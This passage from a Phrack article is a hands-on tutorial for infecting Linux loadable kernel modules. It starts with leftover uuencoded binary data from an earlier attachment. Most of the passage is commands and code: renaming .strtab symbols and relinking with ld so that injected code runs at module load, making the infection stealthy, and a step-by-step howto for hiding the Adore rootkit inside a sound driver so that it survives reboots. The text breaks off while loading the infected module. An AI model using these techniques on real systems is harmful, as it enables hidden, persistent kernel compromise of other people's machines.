M#.7FZ5RN?+&?2_%H9UES0<X<OOT;TX^WYLVY8,YET#G;Z[N5XISMC=V:<<[V
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
$`/@'````
`
end

|=[ EOF ]=---------------------------------------------------------------=|



--------------------------------------------------------------------------------


                           ==Phrack Inc.==

              Volume 0x0b, Issue 0x3d, Phile #0x0a of 0x0f

|=----------------=[ Infecting loadable kernel modules ]=----------------=|
|=-----------------------------------------------------------------------=|
|=--------------------=[ truff  <truff@projet7.org> ]=-------------------=|


--[ Contents

        1 - Introduction

        2 - ELF basis
          2.1 - The .symtab section
          2.2 - The .strtab section
          
        3 - Playing with loadable kernel modules
          3.1 - Module loading
          3.2 - .strtab modification
          3.3 - Code injection 
          3.4 - Keeping stealth

        4 - Real life example
          4.1 - Lkm infecting mini-howto
          4.2 - I will survive (a reboot)
          
        5 - What about other systems ? 
          5.1 - Solaris
          5.2 - *BSD
            5.2.1 - FreeBSD
            5.2.2 - NetBSD
            5.2.3 - OpenBSD
        
        6 - Conclusion

        7 - Greetings

        8 - References

        9 - Code
          9.1 - ElfStrChange
          9.2 - Lkminject




--[ 1 - Introduction
  
  Since a few years we have seen a lot of rootkits using loadable kernel
modules. Is this a fashion ? not really, lkm's are widely used because they
are powerfull: you can hide files, processes and do other nice things. 
The first rootkits using lkm's could be easily detected because they 
where listed when issuing a lsmod. We have seen lots of techniques to hide
modules, like the one used in Plaguez's paper [1] or the more tricky used
in the Adore Rootkit [2]. A few years later we have seen other techniques
based on the modification of the kernel memory image using /dev/kmem [3].
Finally, a technique of static kernel patching was presented to us in [4].
This one solves an important problem: the rootkit will be reloaded after a
reboot. 
  
  The goal of this paper is to describe a new technique used to hide lkm's
and to ensure us that they will be reloaded after a reboot. We are going
to see how to do this by infecting a kernel module used by the system. We
will focus on Linux kernel x86 2.4.x series but this technique can be 
applied to other operating systems that use the ELF format.  Some knowledge
is necessary to understand this technique. Kernel modules are ELF object 
files, we will thus study the ELF format focusing on some particular parts 
related to the symbol naming in an ELF object file. After that, we will 
study the mechanisms wich are used to load a module to give us some 
knowledge on the technique which will permit to inject code into a kernel 
module. Finally, we will see how we can inject a module into another one in 
real life. 
  


--[ 2 - ELF Basis
  
  The Executable and Linking Format (ELF) is the executable file format
used on the Linux operating system. We are going to have a look at the part
of this format which interests us and which will be useful later (Read [1]
to have a full description of the ELF format).  When linking two ELF 
objects the linker needs to know some data refering to the symbols 
contained in each object. Each ELF object (lkm's for example) contains two
sections whose role is to store structures of information describing each 
symbol. We are going to study them and to extract some usefull ideas for 
the infection of a kernel module.
 
  
----[ 2.1 - The .symtab section  
  
  This section is a tab of structures that contains data requiered by the
linker to use symbols contained in a ELF object file. This structure is
defined in the file /usr/include/elf.h:  

/* Symbol table entry.  */

typedef struct
{
  Elf32_Word	st_name;	/* Symbol name (string tbl index) */
  Elf32_Addr	st_value;	/* Symbol value */
  Elf32_Word	st_size;	/* Symbol size */
  unsigned char	st_info;	/* Symbol type and binding */
  unsigned char	st_other;	/* Symbol visibility */
  Elf32_Section	st_shndx;	/* Section index */
} Elf32_Sym;

 The only field which will interest us later is st_name. This field is an
index of the .strtab section where the name of the symbol is stored.


----[ 2.2 - The .strtab section

  The .strtab section is a tab of null terminated strings. As we saw above,
the st_name field of the Elf32_Sym structure is an index in the .strtab
section, we can thus easily obtain the offset of the string which contains
the name of the symbol by the following formula:
  
  offset_sym_name = offset_strtab + st_name 

  offset_strtab is the offset of the .strtab section from the beginning of
the file. It is obtained by the section name resolution mechanism which I
will not describe here because it does not bring any interest to the
covered subject. This mechanism is fully described in [5] and implemented
in the code (paragraph 9.1).
 
  We can then deduce that the name of a symbol in a ELF object can be
easily accessed and thus easily modified. However a rule must be complied
with to carry out a modification. We saw that the .strtab section is a
succession of null terminated strings, this implies a restriction on the
new name of a symbol after a modification: the length of the new name of
the symbol will have to be lower or equal to that of the original name
overwise it will overflow the name of the next symbol in the .strtab
section.
 
  We will see thereafter that the simple modification of a symbol's name
will lead us to the modification of the normal operation of a kernel module
and finally to the infection of a module by another one.


--[ 3 - Playing with loadable kernel modules
  
  The purpose of the next section is to show the code which dynamically
loads a module. With this concepts in mind, we will be able to foresee the
technique which will lead us to inject code into the module.


----[ 3.1 - Module Loading

  Kernel modules are loaded with the userland utility insmod which is part
of the modutils[6] package. The interesting stuff is located in the
init_module() functions of the insmod.c file.
  
static int init_module(const char *m_name, struct obj_file *f,
        unsigned long m_size, const char *blob_name,
        unsigned int noload, unsigned int flag_load_map)
{
(1)     struct module *module;
        struct obj_section *sec;
        void *image;
        int ret = 0;
        tgt_long m_addr;

        ....

(2)     module->init = obj_symbol_final_value(f, 
                obj_find_symbol(f, "init_module"));
(3)     module->cleanup = obj_symbol_final_value(f,
                obj_find_symbol(f, "cleanup_module"));

        ....

        if (ret == 0 && !noload) {
                fflush(stdout);         /* Flush any debugging output */
(4)             ret = sys_init_module(m_name, (struct module *) image);
                if (ret) {
                        error("init_module: %m");
                        lprintf(
      "Hint: insmod errors can be caused by incorrect module parameters, "
      "including invalid IO or IRQ parameters.\n"
      "You may find more information in syslog or the output from dmesg");
                }
        }
 
  This function is used (1) to fill a struct module which contains the
necessary data to load the module. The interestings fields are init_module
and cleanup_module which are functions pointers pointing respectively to
the init_module() and cleanup_module() of the module being loaded.  The
obj_find_symbol() function (2) extracts a struct symbol by traversing the
symbol table and looking for the one whose name is init_module. This struct
is passed to the obj_symbol_final_value() which extracts the address of the
init_module function from the struct symbol. The same operation is then
carried out (3) for the function cleanup_module(). It is necessary to keep
in mind that the functions which will be called when initializing and
terminating the module are those whose entry in the .strtab section
corresponds respectively to init_module and cleanup_module.
  
  When the struct module is completely filled in (4) the sys_init_module()
syscall is called to let the kernel load the module.

  Here is the interesting part of the sys_init_module() syscall wich is
called during module loading. This function's code is located in the
/usr/src/linux/kernel/module.c file:

asmlinkage long
sys_init_module(const char *name_user, struct module *mod_user)
{
        struct module mod_tmp, *mod;
        char *name, *n_name, *name_tmp = NULL;
        long namelen, n_namelen, i, error;
        unsigned long mod_user_size;
        struct module_ref *dep;
                                        
        /* Lots of sanity checks */
        .....
        /* Ok, that's about all the sanity we can stomach; copy the rest.*/

(1)     if (copy_from_user((char *)mod+mod_user_size,
                           (char *)mod_user+mod_user_size,
                           mod->size-mod_user_size)) {
                error = -EFAULT;
                goto err3;
        }

        /* Other sanity checks */

        ....
                
        /* Initialize the module.  */
        atomic_set(&mod->uc.usecount,1);
        mod->flags |= MOD_INITIALIZING;
(2)     if (mod->init && (error = mod->init()) != 0) {
                atomic_set(&mod->uc.usecount,0);
                mod->flags &= ~MOD_INITIALIZING;
                if (error > 0)  /* Buggy module */
                        error = -EBUSY;
                goto err0;
        }
        atomic_dec(&mod->uc.usecount);
 
  After a few sanity checks, the struct module is copied from userland to
kernelland by calling (1) copy_from_user(). Then (2) the init_module()
function of the module being loaded is called using the mod->init() funtion
pointer wich has been filled by the insmod utility.


----[ 3.2 - .strtab modification

  We have seen that the address of the module's init function is located
using a string in the .strtab section. The modification of this string will
allow us to execute another function than init_module() when the module is
loaded. 
  There are a few ways to modify an entry of the .strtab section. The 
-wrap option of ld can be used to do it but this option isn't compatible 
with the -r option that we will need later (paragraph 3.3). We will see in 
paragraph 5.1 how to use xxd to do the work. I have coded a tool 
(paragraph 9.1) to automate this task.

Here's a short example:
  
$ cat test.c
#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>

int init_module(void) 
{
  printk ("<1> Into init_module()\n");
  return 0;
}

int evil_module(void) 
{
  printk ("<1> Into evil_module()\n");
  return 0;
}

int cleanup_module(void) 
{
  printk ("<1> Into cleanup_module()\n");
  return 0;
}

$ cc -O2 -c test.c 

  Let's have a look at the .symtab and .strtab sections:
  
$ objdump -t test.o 

test.o:     file format elf32-i386

SYMBOL TABLE:
0000000000000000 l    df *ABS*  0000000000000000 test.c
0000000000000000 l    d  .text  0000000000000000 
0000000000000000 l    d  .data  0000000000000000 
0000000000000000 l    d  .bss   0000000000000000 
0000000000000000 l    d  .modinfo  0000000000000000 
0000000000000000 l     O .modinfo  0000000000000016 __module_kernel_version
0000000000000000 l    d  .rodata   0000000000000000 
0000000000000000 l    d  .comment  0000000000000000 
0000000000000000 g     F .text  0000000000000014 init_module
0000000000000000         *UND*  0000000000000000 printk
0000000000000014 g     F .text  0000000000000014 evil_module
0000000000000028 g     F .text  0000000000000014 cleanup_module

  We are now going to modify 2 entries of the .strtab section to make the
evil_module symbol's name become init_module. First we must rename the
init_module symbol because 2 symbols of the same nature can't have the same
name in the same ELF object. The following operations are carried out:
  
		rename
1)  init_module  ---->  dumm_module
2)  evil_module  ---->  init_module


$ ./elfstrchange test.o init_module dumm_module
[+] Symbol init_module located at 0x3dc
[+] .strtab entry overwriten with dumm_module

$ ./elfstrchange test.o evil_module init_module
[+] Symbol evil_module located at 0x3ef
[+] .strtab entry overwriten with init_module

$ objdump -t test.o 

test.o:     file format elf32-i386

SYMBOL TABLE:
0000000000000000 l    df *ABS*  0000000000000000 test.c
0000000000000000 l    d  .text  0000000000000000 
0000000000000000 l    d  .data  0000000000000000 
0000000000000000 l    d  .bss   0000000000000000 
0000000000000000 l    d  .modinfo  0000000000000000 
0000000000000000 l     O .modinfo  0000000000000016 __module_kernel_version
0000000000000000 l    d  .rodata   0000000000000000 
0000000000000000 l    d  .comment  0000000000000000 
0000000000000000 g     F .text  0000000000000014 dumm_module
0000000000000000         *UND*  0000000000000000 printk
0000000000000014 g     F .text  0000000000000014 init_module
0000000000000028 g     F .text  0000000000000014 cleanup_module


# insmod test.o 
# tail -n 1 /var/log/kernel 
May  4 22:46:55 accelerator kernel:  Into evil_module()

  As we can see, the evil_module() function has been called instead of
init_module().

  
----[ 3.3 - Code injection 

  The preceding tech makes it possible to execute a function instead of
another one, however this is not very interesting. It will be much better
to inject external code into the module. This can be *easily* done by using
the wonderfull linker: ld. 

$ cat original.c
#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>

int init_module(void) 
{
  printk ("<1> Into init_module()\n");
  return 0;
}

int cleanup_module(void) 
{
  printk ("<1> Into cleanup_module()\n");
  return 0;
}

$ cat inject.c
#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>


int inje_module (void)
{
  printk ("<1> Injected\n");
  return 0;
}

$ cc -O2 -c original.c
$ cc -O2 -c inject.c


  Here starts the important part. The injection of the code is not a
problem because kernel modules are relocatable ELF object files. This type
of objects can be linked together to share symbols and complete each other.
However a rule must be complied: the same symbol can't exist in several
modules which are linked together.  We use ld with the -r option to make a
partial link wich creates an object of the same nature as the objects wich
are linked. This will create a module which can be loaded by the kernel.

$ ld -r original.o inject.o -o evil.o
$ mv evil.o original.o 
$ objdump -t original.o 

original.o:     file format elf32-i386

SYMBOL TABLE:
0000000000000000 l    d  .text  0000000000000000 
0000000000000000 l    d  *ABS*  0000000000000000 
0000000000000000 l    d  .rodata   0000000000000000 
0000000000000000 l    d  .modinfo  0000000000000000 
0000000000000000 l    d  .data  0000000000000000 
0000000000000000 l    d  .bss   0000000000000000 
0000000000000000 l    d  .comment  0000000000000000 
0000000000000000 l    d  *ABS*  0000000000000000 
0000000000000000 l    d  *ABS*  0000000000000000 
0000000000000000 l    d  *ABS*  0000000000000000 
0000000000000000 l    df *ABS*  0000000000000000 original.c
0000000000000000 l     O .modinfo  0000000000000016 __module_kernel_version
0000000000000000 l    df *ABS*  0000000000000000 inject.c
0000000000000016 l     O .modinfo  0000000000000016 __module_kernel_version
0000000000000014 g     F .text  0000000000000014 cleanup_module
0000000000000000 g     F .text  0000000000000014 init_module
0000000000000000         *UND*  0000000000000000 printk
0000000000000028 g     F .text  0000000000000014 inje_module


  The inje_module() function has been linked into the module. Now we are
going to modify the .strtab section to make inje_module() be called instead
of init_module(). 


$ ./elfstrchange original.o init_module dumm_module
[+] Symbol init_module located at 0x4a8
[+] .strtab entry overwriten with dumm_module

$ ./elfstrchange original.o inje_module init_module
[+] Symbol inje_module located at 0x4bb
[+] .strtab entry overwriten with init_module


  Let's fire it up:
  
# insmod original.o
# tail -n 1 /var/log/kernel 
May 14 20:37:02 accelerator kernel:  Injected

  And the magic occurs :)


----[ 3.4 - Keeping stealth

  Most of the time, we will infect a module which is in use. If we replace
the init_module() function with another one, the module loses its original
purpose for our profit. However, if the infected module does not work
properly it can be easily detected.  But there is a solution that permits
to inject code into a module without modifying its regular behaviour. After
the .strtab hack, the real init_module() function is named dumm_module. If
we put a call to dumm_module() into our evil_module() function, the real
init_module() function will be called at initialization and the module will
keep its regular behaviour.
  
                 replace 
    init_module  ------>  dumm_module
    inje_module  ------>  init_module (will call dumm_module) 
  
  
$ cat stealth.c
#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>


int inje_module (void)
{
  dumm_module ();
  printk ("<1> Injected\n");
  return 0;
}

$ cc -O2 -c stealth.c
$ ld -r original.o stealth.o -o evil.o
$ mv evil.o original.o 
$ ./elfstrchange original.o init_module dumm_module
[+] Symbol init_module located at 0x4c9
[+] .strtab entry overwriten with dumm_module

$ ./elfstrchange original.o inje_module init_module
[+] Symbol inje_module located at 0x4e8
[+] .strtab entry overwriten with init_module

# insmod original.o 
# tail -n 2 /var/log/kernel 
May 17 14:57:31 accelerator kernel:  Into init_module()
May 17 14:57:31 accelerator kernel:  Injected


  Perfect, the injected code is executed after the regular code so that the
modification is stealth.


--[ 4 - Real life example

  The method used to modify init_module() in the preceding parts can be
applied without any problem to the cleanup_module() function. Thus, we can
plan to inject a complete module into another one.  I've injected the well
known Adore[2] rootkit into my sound driver (i810_audio.o) with a rather
simple handling. 
  
----[ 4.1 - Lkm infecting mini-howto

1) We have to slightly modify adore.c

  * Insert a call to dumm_module() in the init_module() function's code
  * Insert a call to dummcle_module() in the cleanup_module() module 
    function's code
  * Replace the init_module function's name with evil_module
  * Replace the cleanup_module function's name with evclean_module
  
  
2) Compile adore using make


3) Link adore.o with i810_audio.o

   ld -r i810_audio.o adore.o -o evil.o
   
   If the module is already loaded, you have to remove it:
   rmmod i810_audio
   
   mv evil.o i810_audio.o
   

4) Modify the .strtab section
                  
                 replace
  init_module    ------> dumm_module
  evil_module    ------> init_module (will call dumm_module)

  cleanup_module ------> evclean_module
  evclean_module ------> cleanup_module (will call evclean_module)

$ ./elfstrchange i810_audio.o init_module dumm_module 
[+] Symbol init_module located at 0xa2db
[+] .strtab entry overwriten with dumm_module

$ ./elfstrchange i810_audio.o evil_module init_module
[+] Symbol evil_module located at 0xa4d1
[+] .strtab entry overwriten with init_module

$ ./elfstrchange i810_audio.o cleanup_module dummcle_module
[+] Symbol cleanup_module located at 0xa169
[+] .strtab entry overwriten with dummcle_module

$ ./elfstrchange i810_audio.o evclean_module cleanup_module
[+] Symbol evclean_module located at 0xa421
[+] .strtab entry overwriten with cleanup_module


5) Load and test the module

# insmod i810_audio
# ./ava     
